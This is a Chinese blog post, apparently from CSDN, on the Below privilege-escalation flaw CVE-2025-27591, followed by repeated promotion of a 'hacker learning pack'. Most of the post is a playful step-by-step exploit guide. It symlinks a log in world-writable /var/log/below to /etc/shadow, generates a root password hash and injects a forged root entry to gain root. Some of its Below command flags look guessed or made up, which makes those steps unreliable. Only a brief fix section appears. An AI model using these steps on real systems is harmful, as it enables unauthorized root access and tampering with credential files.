各位攻城狮、程序猿们，今天咱们来聊点刺激的！Linux 提权漏洞 CVE-2025-27591，听说过没？没听过？没关系，今天就带你把它扒个精光！这个漏洞存在于 Below 服务（版本低于 v0.9.0），简单来说，就是因为 /var/log/below 这个目录太奔放了，权限设置成了全局可写，导致任何阿猫阿狗都能往里塞东西。这就好比你家大门钥匙人手一把，想不进贼都难啊！
漏洞是怎么被“玩”坏的？（漏洞利用原理）
这漏洞的利用原理，说白了就是“狸猫换太子”！
- “敞篷”目录：
/var/log/below权限 777，谁都能写，简直就是黑客的游乐场！ - 乾坤大挪移（符号链接攻击）： 攻击者搞个障眼法，用符号链接把日志文件指向
/etc/shadow这个关键文件。/etc/shadow可是存放用户密码哈希的地方，一旦被篡改，那还不是想进就进？ - 一键 root： Below 服务以 root 权限运行，写入日志的时候，实际上是在修改
/etc/shadow。攻击者通过覆盖或修改/etc/shadow，设置一个自己知道的密码，就能轻松拿到 root 权限，直接起飞！
想“白嫖” root 权限？先看看你有没有这些“船票”（前提条件）
想利用这个漏洞，也不是随便就能上的，你需要满足以下几个条件：
- 目标系统得是 Below 的“老弱病残”版本： 也就是 Below 版本低于 v0.9.0。
- 你得先混进目标系统： 至少得有个本地非特权用户的账号。
- “犯罪现场”得是开放的：
/var/log/below目录必须是全局可写的。你可以用ls -ld /var/log/below检查一下，如果输出结果是drwxrwxrwx，那就恭喜你，机会来了！
“白嫖” root 权限的骚操作（基本利用步骤）
有了“船票”，接下来就是表演真正的技术了！
- 确认“犯罪现场”： 运行
ls -ld /var/log/below，看看是不是显示drwxrwxrwx。 - 障眼法： 创建符号链接：
ln -s /etc/shadow /var/log/below/attack.log。 - 引蛇出洞： 想办法让 Below 服务往
attack.log里面写东西，比如：below some_command 2>/var/log/below/attack.log。 - 验证成果： 如果
/etc/shadow被修改了，用你设置的新密码登录su -试试，是不是直接就进去了？
“白嫖”姿势大放送（方法 1：利用日志输出）
如果 Below 服务支持将输入或调试信息写入日志文件，那事情就简单多了！
- 制造“毒药”（密码哈希）： 用
mkpasswd -m sha-512 "newpassword"生成一个密码哈希。 示例输出：$6$randomsalt$hashedpassword。 然后构造一个完整的/etc/shadow条目：root:$6$randomsalt$hashedpassword:19448::::::。 - 继续障眼法：
ln -sf /etc/shadow /var/log/below/attack.log。 - 投毒： 想办法让 Below 服务把你的“毒药”写进去。比如，如果 Below 支持调试模式并回显输入：
below --debug "root:$6$randomsalt$hashedpassword:19448::::::" 2>/var/log/below/attack.log。 - 验收成果： 运行
grep "$hashedpassword" /etc/shadow && echo "成功！尝试密码 'newpassword'"看看是不是成功了！
“曲线救国”大法（方法 2：分步注入）
如果没办法一次性写入完整的 /etc/shadow 条目，那就试试分步注入！
- 准备“弹药”：
echo "root:$6$randomsalt$hashedpassword:19448::::::" > /tmp/payload。 - “蚂蚁搬家”： 如果 Below 支持日志追加，就用这个方法：
below some_command --log-append /tmp/payload 2>>/var/log/below/attack.log。 - “善后处理”： 如果
/etc/shadow格式被破坏了，提权之后记得修复一下。
示例脚本（仅供参考，请勿用于非法用途！）
#!/bin/bash
# 这段代码仅供学习交流，请勿用于非法用途！
# ... 脚本内容 ...
如何避免被“白嫖”？（修复方案）
亡羊补牢，犹未为晚！
- 升级！升级！升级！ Below >= v0.9.0 已经修复了这个漏洞，赶紧升级到最新版本！
- 锁好你家大门： 运行
chmod 700 /var/log/below，把目录权限改了，别让谁都能进！
黑客/网络安全学习包
资料目录
-
成长路线图&学习规划
-
配套视频教程
-
SRC&黑客文籍
-
护网行动资料
-
黑客必读书单
-
面试题合集
因篇幅有限，仅展示部分资料，需要点击下方链接即可前往获取
*************************************CSDN大礼包：《黑客&网络安全入门&进阶学习资源包》免费分享*************************************
1.成长路线图&学习规划
要学习一门新的技术，作为新手一定要先学习成长路线图，方向不对，努力白费。
对于从来没有接触过网络安全的同学，我们帮你准备了详细的学习成长路线图&学习规划。可以说是最科学最系统的学习路线，大家跟着这个大的方向学习准没问题。
因篇幅有限，仅展示部分资料，需要点击下方链接即可前往获取
*************************************CSDN大礼包：《黑客&网络安全入门&进阶学习资源包》免费分享*************************************
2.视频教程
很多朋友都不喜欢晦涩的文字，我也为大家准备了视频教程，其中一共有21个章节，每个章节都是当前板块的精华浓缩。
因篇幅有限，仅展示部分资料，需要点击下方链接即可前往获取
*************************************CSDN大礼包：《黑客&网络安全入门&进阶学习资源包》免费分享*************************************
3.SRC&黑客文籍
大家最喜欢也是最关心的SRC技术文籍&黑客技术也有收录
SRC技术文籍：
黑客资料由于是敏感资源，这里不能直接展示哦！
4.护网行动资料
其中关于HW护网行动，也准备了对应的资料，这些内容可相当于比赛的金手指！
5.黑客必读书单
**
**
6.面试题合集
当你自学到这里，你就要开始思考找工作的事情了，而工作绕不开的就是真题和面试题。
更多内容为防止和谐，可以扫描获取~
因篇幅有限，仅展示部分资料，需要点击下方链接即可前往获取
*************************************CSDN大礼包：《黑客&网络安全入门&进阶学习资源包》免费分享*********************************